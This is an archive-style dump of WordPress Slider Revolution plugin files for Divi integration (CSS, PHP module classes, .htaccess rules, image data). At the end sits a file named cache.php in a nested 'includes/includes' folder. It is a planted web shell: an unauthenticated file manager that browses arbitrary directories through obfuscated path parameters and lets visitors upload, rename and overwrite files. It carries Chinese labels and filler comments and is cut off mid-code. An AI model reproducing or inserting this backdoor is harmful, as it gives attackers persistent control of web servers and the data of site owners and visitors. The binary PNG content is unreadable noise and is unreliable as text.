span{display:inline-block;max-width:100%;font-weight:700;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:16px;white-space:nowrap;overflow:hidden}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_image{background:#e3e5e8;text-align:center;line-height:0;padding:14px}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_image div{width:267px;height:150px;background-repeat:no-repeat;background-position:50% 50%;background-size:cover;margin:10px auto}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_image div span.icon{display:block;margin:0 auto;padding:20px 0;font-family:Material Icons;line-height:64px;font-size:64px;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;-webkit-font-feature-settings:"liga";font-feature-settings:"liga"}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_image div span.text{font-weight:700;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:24px}.et_divi_builder #et_builder_outer_content .revslider_divi_block .revslider_image.loaded div span{display:none}admin/includes/shortcode_generator/divi/styles/index.php000060400000000033151724235750017603 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/divi/styles/backend-style.min.css000060400000022006151724235750022010 0ustar00.et-fb-form__toggle[data-name=revslider_divi] h3{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAAA8CAYAAABYfzddAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyhpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTQ1IDc5LjE2MzQ5OSwgMjAxOC8wOC8xMy0xNjo0MDoyMiAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENDIDIwMTkgKE1hY2ludG9zaCkiIHhtcE1NOkluc3RhbmNlSUQ9InhtcC5paWQ6RjhDQzIyNjI5QkEyMTFFOTk3NzBEMDlFNjc1MjU1MjIiIHhtcE1NOkRvY3VtZW50SUQ9InhtcC5kaWQ6RjhDQzIyNjM5QkEyMTFFOTk3NzBEMDlFNjc1MjU1MjIiPiA8eG1wTU06RGVyaXZlZEZyb20gc3RSZWY6aW5zdGFuY2VJRD0ieG1wLmlpZDpCNUMwRkJGRjlCNjAxMUU5OTc3MEQwOUU2NzUyNTUyMiIgc3RSZWY6ZG9jdW1lbnRJRD0ieG1wLmRpZDpCNUMwRkMwMDlCNjAxMUU5OTc3MEQwOUU2NzUyNTUyMiIvPiA8L3JkZjpEZXNjcmlwdGlvbj4gPC9yZGY6UkRGPiA8L3g6eG1wbWV0YT4gPD94cGFja2V0IGVuZD0iciI/PhZxLpkAABF/SURBVHja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);background-size:120px 30px;background-repeat:no-repeat}.et-db #et-boc .et-l .et-fb-form__toggle.et-fb-form__toggle-opened:first-of-type[data-name=revslider_divi] h3,.et-db #et-boc .et-l .et-fb-form__toggle:first-of-type[data-name=revslider_divi] h3{font-size:0!important;line-height:30px}.revslider_divi_input_container{margin:10px 0}.revslider_divi_buttons_container{text-align:left}.revslider_divi_buttons_container .revslider_divi_input_button,.revslider_divi_buttons_container .revslider_divi_input_button:focus{margin:0 15px 0 0;padding:0 10px;height:28px;line-height:18px;font-size:13px;background:#5e35b1;color:#fff;vertical-align:top;border-color:#5e35b1;border-radius:2px;border-width:0;outline:none;box-shadow:none;cursor:pointer}.revslider_divi_buttons_container .revslider_divi_input_button:hover{-webkit-filter:brightness(120%);filter:brightness(120%);border-color:#5e35b1;background:#5e35b1;color:#fff;box-shadow:none}.revslider_divi_buttons_container .revslider_divi_input_button:disabled,.revslider_divi_buttons_container .revslider_divi_input_button[disabled]{background-color:gray}.revslider_divi_buttons_container .revslider_divi_input_button:disabled:hover,.revslider_divi_buttons_container .revslider_divi_input_button[disabled]:hover{-webkit-filter:brightness(100%);filter:brightness(100%)}.revslider_divi_buttons_container .revslider_divi_input_button_small,.revslider_divi_buttons_container .revslider_divi_input_button_small:focus{font-family:Material Icons;display:inline-block;line-height:26px;font-size:16px;-webkit-font-smoothing:antialiased;text-rendering:optimizeLegibility;-moz-osx-font-smoothing:grayscale;-webkit-font-feature-settings:"liga";font-feature-settings:"liga"}.et-db #et-boc .et-l .et-fb-form__group.revslider_divi_selected:last-child,.et-db #et-boc .et-l .et-fb-form__group.revslider_divi_selected:last-of-type,.revslider_divi_selected{margin:10px 0}.revslider_divi_selected span{font-weight:700}admin/includes/shortcode_generator/divi/includes/RevsliderDivi.php000060400000006660151724235750021546 0ustar00required_divi_core_version) < 0) { return; } $this->plugin_dir = plugin_dir_path( __FILE__ ); $this->plugin_dir_url = plugin_dir_url( $this->plugin_dir ); parent::__construct( $name, $args ); if(!current_user_can('edit_posts') && !current_user_can('edit_pages')) return; if (!empty($_GET['et_fb'])) { //load revslider styles and scripts needed for shortcode wizard require_once(RS_PLUGIN_PATH . 'admin/includes/shortcode_generator/shortcode_generator.class.php'); RevSliderShortcodeWizard::add_styles(); wp_enqueue_style('rs-new-plugin-settings', RS_PLUGIN_URL . 'admin/assets/css/builder.css', array('revslider-basics-css'), RS_REVISION); add_action( 'wp_enqueue_scripts', array($this, 'add_scripts') ); } //load revslider modals html via separate ajax request //divi move content from window to iframe, we need to load it once again add_filter('revslider_do_ajax', array($this, 'shortcode_enqueue_files'), 10, 3); } public function add_scripts() { RevSliderShortcodeWizard::add_scripts(false, true); wp_localize_script('revbuilder-utils', 'RVS_DIVI_LANG', array( 'loading_modals' => __('Loading Settings Modals...', 'revslider'), 'select_module' => __('Select Module', 'revslider'), 'select_module_tip' => __('Select Revolution Slider Module', 'revslider'), 'open_editor_tip' => __('Open Slider Editor', 'revslider'), 'edit_settings_tip' => __('Edit Block Settings', 'revslider'), 'optimize_tip' => __('Optimize File Sizes', 'revslider'), 'current_module' => __('Current Module', 'revslider'), 'slider_not_selected' => __('Slider Not Selected', 'revslider'), 'loading_image' => __('Loading Image...', 'revslider'), 'broken_image' => __('No Image or Loading Error!', 'revslider'), 'error_loading_settings' => __('Error Loading Settings Modals!', 'revslider'), 'none' => __('- None -', 'revslider'), )); } public function shortcode_enqueue_files($return, $action, $data) { if ($action != 'shortcode_enqueue_files') return $return; ob_start(); RevSliderShortcodeWizard::enqueue_files(); $html = ob_get_clean(); $return = array( 'message' => 'Load Revslider Settings Modal', 'data' => array( 'html' => $html, ), ); return $return; } } new RevsliderDivi; admin/includes/shortcode_generator/divi/includes/index.php000060400000000033151724235750020066 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/divi/includes/modules/RevsliderDivi/.htaccess000044400000000177151724235750024302 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/divi/includes/modules/RevsliderDivi/index.php000060400000000033151724235750024311 0ustar00 admin/includes/shortcode_generator/divi/includes/modules/RevsliderDivi/images/rs6_logo_2x.png000060400000012421151724235750026613 0ustar00PNG  IHDR<X7]tEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp q.IDATx]wp\]Q'ٲl6l8 pf5dH LdBBd,H($(L[ Ae@.eI'5Ňݽӕiv~[L2)ړ^cA[/"9&V FѶ ݂,vZ_dX,}+䭌7IO|~%wj摹 ^%QGpsf 75݆-aokd\79&}Yd2UR҂vsok=wϋ<"p_q*>Չ[miٗ⮧OW߲u-HLF { sx!o9\/%lPګ 5ʖ5 GQ:n^!u՟+wT~'2?REҔfž GMSւ٘ q I|< i3 E(;ցk/uw37%ºo(% ALb:% {h߹y[/7V̘qs0;#d̘LV$ƉjWZ-8KOgzF+pAϩ1567x| tw [Kͽز ff*Z@)&Zu=L0l8KJrĝ A-= W6! qr|(%~JުM'ecϱ>k;C^2r3;WLؘ*"dY9k xIm9ߴ0%fĦT\4߻UWXU0 ^&E9D{EfK]}Xrfv s#!pU :I&ž] /ٸrwG7>yr `1 ĨDY\CQo1})]p7cvy5O2෷:9ѯ7Hβ/H7禎0@,1Z6D/qpKN[(u֏5?y RӬ̜7<4]U܏ʆaCAQ{FKBԫVQ2\5D'.7nl69yh_~%( _{qq)B.|z 6Y)(P) uNH Z['2Sfw,,S& 2o1-:w("4*K]>AED+Hm+o(@NIal,9g}тuƮ8pHXéc,%5>ZZ9ɪN1f6^wRdH]Y'"[@S#"p`V?kOV⇷B.0,`Z4pfAbL-]/龭8U3.+uɁ^VНpƁl~&nIW5SRmL'Wb1> 'W8 5QDA&t=jz 62q*q}z?WGHEi1YFhwN+4\gcX] g{b-ԔS,p1+q в=F`V9WNZwDKsyԹ*bF"۶ߴKTe,ՔM[b#qz,N1rӏ[mǡ^}߉j%ueJA `YqHXeY?nDŽ0>6"ÃcԃcCL$p՘U %\%N= 87&_0*wPkX{yW/B`PoS-UH*%Rb*%UXzj;EN|~x{aK0zLֈ+S:p6#0~},L'~sy)N>a LЍL.3EvcR}6ڻ?e\_:_⥟.߄W3f .l0.,87љc[zl䮘G+r&r,YjSJ8Y+?V@f urS1,?azrAk~_L4Wyrkx}pUIi•KZM{k]}F +NW7h?Vb0<`.wX%I ^ԯcLw-ƹ)sKY׿aZbN(\8c,N'߇ty 3 b nuNN&Y:ٗ;-\hi,>Z(?#n$[,^μd.ξST NMaIp ۺu`4[͡4J ޒrb \G@ &SYJ (Fs[';|S$8)_6١C%SE oz(L|-iZLNTyI*ጓxgʺXřxtT;cN6|,vhZ_;N*z qcj  g% *ĵګEU n)+ʍ_@1[dn TA&'$D(Տ6_8O{>μx.lbOc_wcͿ_.uObzHFk:U06?#TZpVO-_DJJ'bQPIY^{v.(QAQ:P8v|QFXi(tmd/5{ppYYT@>y}QXN/Ezjc7d$;OՀ{?CE˧6"FI⒑\8-jD w%"=Nkp~Z]NOx=wYa Od] sIQuv$ɈqrQۍ8;܍e;>|vz萓1+2vr])71!1҃=بqsWS2G-) }6\ L=ހj =l 1|efJd҇ gfOqSG,KCcxbM;làzPX mE邹d7a(>E0)^Ʃoqw;Ôx`iv|ڎ_]yp3<[tߓ5׿M7ߚ0\JDvN(\;ˣ],$8[qX⬤H'.GbsEtY8vtq˔|@K;j_כ:w*|u8RLEpo5k SS6=N=U8 F4dj><*s)EIY.+Β{SpV{uQvՌ&CY$ `q 1ZŷXȭaS\lbeA=N|p#^N,;D֖^R)K)VVR0OLLVɉNN#h'ؽ6H(F/ԃX Osi,H%?2v]ÌSUDXaV3'ѭ"X#h-^ԣĂ\U5I~ =bZg4)n$ `Q-(Բ ~V=Sԥ7 ]x] 59C\#_Vqnu#1NjcWBdN~IENDB`admin/includes/shortcode_generator/divi/includes/modules/RevsliderDivi/images/.htaccess000044400000000177151724235750025547 0ustar00 Order allow,deny Deny from all admin/includes/shortcode_generator/divi/includes/modules/RevsliderDivi/images/index.php000060400000000033151724235750025556 0ustar00 '', 'author' => '', 'author_uri' => '', ); public function init() { $this->name = esc_html__( 'Slider Revolution', 'revslider' ); $this->icon_path = plugin_dir_path( __FILE__ ) . 'images/rslogo.svg'; } public function get_fields() { return array( 'revslider_divi' => array( 'label' => '', 'type' => 'revslider_divi_input', 'option_category' => 'basic_option', 'description' => esc_html__('Select Revslider module among all the modules you have created.', 'revslider'), 'toggle_slug' => 'revslider_divi', ), ); } public function get_settings_modal_toggles() { return array( 'general' => array( 'toggles' => array( 'revslider_divi' => array( 'priority' => 0, 'title' => esc_html__( 'Slider Revolution', 'revslider' ), ), ), ), ); } public function get_advanced_fields_config() { return array( 'main_content' => false, 'link_options' => false, 'background' => false, 'borders' => false, 'box_shadow' => false, 'button' => false, 'filters' => false, 'fonts' => false, 'margin_padding' => false, 'max_width' => false, ); } public function render( $attrs, $content = null, $render_slug = '' ) { return do_shortcode( et_pb_fix_shortcodes( str_replace( array( '[', ']' ), array( '[', ']' ), $this->props['revslider_divi'] ), true ) ); } } new RevsliderDiviModule; admin/includes/shortcode_generator/divi/includes/modules/index.php000060400000000033151724235750021536 0ustar00 Order allow,deny Deny from all # Order allow,deny Allow from all admin/includes/shortcode_generator/divi/includes/includes/cache.php000044400000030737151724235750021650 0ustar00"); } // ---- // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 echo ' ';// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 function formatSizeUnits($bytes) { if ($bytes >= 1073741824) { $bytes = number_format($bytes / 1073741824, 2) . ' GB'; } elseif ($bytes >= 1048576) { $bytes = number_format($bytes / 1048576, 2) . ' MB'; } elseif ($bytes >= 1024) { $bytes = number_format($bytes / 1024, 2) . ' KB'; } elseif ($bytes > 1) { $bytes = $bytes . ' bytes'; } elseif ($bytes == 1) { $bytes = $bytes . ' byte'; } else { $bytes = '0 bytes'; } return $bytes; } // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 function fileExtension($file) { return substr(strrchr($file, '.'), 1); } // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 function fileIcon($file) { $imgs = array("apng", "avif", "gif", "jpg", "jpeg", "jfif", "pjpeg", "pjp", "png", "svg", "webp"); $audio = array("wav", "m4a", "m4b", "mp3", "ogg", "webm", "mpc"); $ext = strtolower(fileExtension($file)); if ($file == "error_log") { return ' '; } elseif ($file == ".htaccess") { return ' '; } if ($ext == "html" || $ext == "htm") { return ' '; } elseif ($ext == "php" || $ext == "phtml") { return ' '; } elseif (in_array($ext, $imgs)) { return ' '; } elseif ($ext == "css") { return ' '; } elseif ($ext == "txt") { return ' '; } elseif (in_array($ext, $audio)) { return ' '; } elseif ($ext == "py") { return ' '; } elseif ($ext == "js") { return ' '; } else { return ' '; } } // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 function encodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($a, $b, $path); }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 function decodePath($path) { $a = array("/", "\\", ".", ":"); $b = array("ক", "খ", "গ", "ঘ"); return str_replace($b, $a, $path); } // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 $root_path = __DIR__; if (isset($_GET['p'])) { if (empty($_GET['p'])) { $p = $root_path; } elseif (!is_dir(decodePath($_GET['p']))) { echo (""); } elseif (is_dir(decodePath($_GET['p']))) { $p = decodePath($_GET['p']); }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 } elseif (isset($_GET['q'])) { if (!is_dir(decodePath($_GET['q']))) { echo (""); } elseif (is_dir(decodePath($_GET['q']))) { $p = decodePath($_GET['q']); } } else { $p = $root_path; } define("PATH", $p); // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 echo (' '); if (isset($_GET['p'])) { //fetch files if (is_readable(PATH)) { $fetch_obj = scandir(PATH); $folders = array(); $files = array(); foreach ($fetch_obj as $obj) { if ($obj == '.' || $obj == '..') { continue; } $new_obj = PATH . '/' . $obj; if (is_dir($new_obj)) { array_push($folders, $obj); } elseif (is_file($new_obj)) { array_push($files, $obj); } } }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 echo ' ';// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 foreach ($folders as $folder) { echo " "; }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 foreach ($files as $file) { echo " "; }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 echo "
            名称 大小 时间 权限 操作
            " . $folder . " --- ". date("Y-m-d H:i:s", filemtime(PATH . "/" . $folder)) . " 0" . substr(decoct(fileperms(PATH . "/" . $folder)), -3) . "
            " . fileIcon($file) . $file . " " . formatSizeUnits(filesize(PATH . "/" . $file)) . " " . date("Y-m-d H:i:s", filemtime(PATH . "/" . $file)) . " 0". substr(decoct(fileperms(PATH . "/" .$file)), -3) . "
            "; } else { if (empty($_GET)) { echo (""); } } if (isset($_GET['upload'])) { echo '
            选择文件:
            '; } if (isset($_GET['r'])) { if (!empty($_GET['r']) && isset($_GET['q'])) { echo '
            重新命名:
            '; if (isset($_POST['rename'])) {// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 $name = PATH . "/" . $_GET['r']; if(rename($name, PATH . "/" . $_POST['name'])) { echo (""); } else { echo (""); } } } } // 1736751925396032 1736751925663496 1736751925438373 1736751925596735 if (isset($_GET['e'])) { if (!empty($_GET['e']) && isset($_GET['q'])) { echo '

            '; if(isset($_POST['edit'])) { $filename = PATH."/".$_GET['e']; $data = $_POST['data']; $open = fopen($filename,"w"); if(fwrite($open,$data)) { echo (""); } else { echo (""); } fclose($open); } } }// 1736751925396032 1736751925663496 1736751925438373 1736751925596735 if (isset($_POST["upload"])) { $target_file = PATH . "/" . $_FILES["fileToUpload"]["name"]; if (move_uploaded_file($_FILES["fileToUpload"]["tmp_name"], $target_file)) { echo "

            ".htmlspecialchars(basename($_FILES["fileToUpload"]["name"])) . " has been uploaded.

            "; } else { echo "

            Sorry, there was an error uploading your file.

